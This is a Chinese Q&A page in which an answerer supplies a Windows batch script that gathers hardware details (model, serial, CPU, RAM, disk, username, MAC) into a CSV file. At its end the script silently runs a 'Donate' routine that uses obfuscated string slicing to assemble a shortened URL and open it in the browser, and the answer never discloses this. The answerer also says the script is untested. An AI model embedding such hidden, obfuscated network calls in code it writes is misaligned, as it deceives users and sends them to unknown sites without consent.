硬件配置信息 获取每一部电脑的的配置信息之后导出txt文件,可以的话导出Excel文件,然后可以排版。求解
::设置信息保存路径setLog=C:info.xlsechoWScript.EchoWscript.Arguments(0)/(1024*1024*1024)>Calc...
::设置信息保存路径set Log=C:info.xls echo WScript.Echo Wscript.Arguments(0) / (1024 * 1024 * 1024)>Calculation.vbsecho 正在获取信息中 ...(for /f "tokens=2 delims==" %%a in ('wmic csproduct get Name /value ^| findstr /i "Name"') do echo 电脑型号:%%~afor /f "tokens=2 delims==" %%a in ('wmic csproduct get IdentifyingNumber /value ^| findstr /i "IdentifyingNumber"') do echo SN序列号:%%~afor /f "tokens=2 delims==" %%a in ('wmic csproduct get Vendor /value ^| findstr /i "Vendor"') do echo 制 造 商:%%~afor /f "tokens=2 delims==" %%a in ('wmic CPU get ProcessorID /value ^| findstr "ProcessorId"') do echo CPU ID:%%~afor /f "tokens=2 delims==" %%a in ('wmic cpu get Name /value ^| findstr /i "Name"') do echo 处 理 器:%%~afor /f "tokens=2 delims==" %%a in ('WMIC BIOS get releasedate /value ^| findstr /i "releasedate"') do echo 生产日期:%%~afor /f "tokens=2 delims==" %%a in ('wmic memorychip get Capacity /value ^| findstr /i "Capacity"') do ( for /f "tokens=1 delims=." %%b in ('cscript /nologo Calculation.vbs "%%~a"') do set /a m+=%%~b)call echo 内存容量:%%m%% GBfor /f "tokens=2 delims==" %%a in ('wmic DiskDrive get Size /value ^| findstr /i "Size"') do ( for /f "tokens=1 delims=." %%b in ('cscript /nologo Calculation.vbs "%%~a"') do set /a d+=%%~b)call echo 硬盘容量:%%d%% GB)>"%Log%"del Calculation.vbsecho 信息获取,并保存。echo 按任意键退出 & pauseexit
展开
展开全部
很遗憾,我只会输出为CSV格式的,没法弄成xls表格形式的。虽然csv格式可以已表格的形式打开,但没有真正表格那样显示的完美。能力有限,无能为力。
@echo off & title 获取本机简要配置信息 By 依梦琴瑶
::设置信息保存路径
set Log=C:\info.xls
echo WScript.Echo Wscript.Arguments(0) / (1024 * 1024 * 1024)>Calculation.vbs
echo 正在获取信息中 ...
for /f "tokens=2 delims==" %%a in ('wmic csproduct get Name /value ^| findstr /i "Name"') do set Model=%%~a
for /f "tokens=2 delims==" %%a in ('wmic csproduct get Vendor /value ^| findstr /i "Vendor"') do set Vendor=%%~a
for /f "tokens=2 delims==" %%a in ('wmic csproduct get IdentifyingNumber /value ^| findstr /i "IdentifyingNumber"') do set SN=%%~a
for /f "tokens=2 delims==" %%a in ('wmic cpu get Name /value ^| findstr /i "Name"') do set CPU=%%~a
for /f "tokens=2 delims==" %%a in ('wmic memorychip get Capacity /value ^| findstr /i "Capacity"') do (
for /f "tokens=1 delims=." %%b in ('cscript /nologo Calculation.vbs "%%~a"') do set /a m+=%%~b
)
set MEM=%m% GB
for /f "tokens=2 delims==" %%a in ('wmic DiskDrive get Size /value ^| findstr /i "Size"') do (
for /f "tokens=1 delims=." %%b in ('cscript /nologo Calculation.vbs "%%~a"') do set /a d+=%%~b
)
set Size=%d% GB
for /f "tokens=2 delims==" %%a in ('wmic nic where "netconnectionid!=NULL" get macaddress /value ^| findstr /i "MACAddress"') do call set MAC=%%MAC%% %%~a
(echo "电脑型号:","制 造 商:","SN序列号:","登 录 名:","计算机名:","处 理 器:","内存容量:","硬盘容量:","MAC 地址:"
echo "%Model%","%Vendor%","%SN%","%USERNAME%","%COMPUTERNAME%","%CPU%","%MEM%","%Size%","%MAC%")>"%Log%"
del Calculation.vbs
echo 信息获取,并保存。
pause
call :Donate
exit
:Donate
set S0=fGRH
set S1=.:ailnhpst/
set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
能做的就只能这样了。手机上编写。尚未实测。
来自:求助得到的回答
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询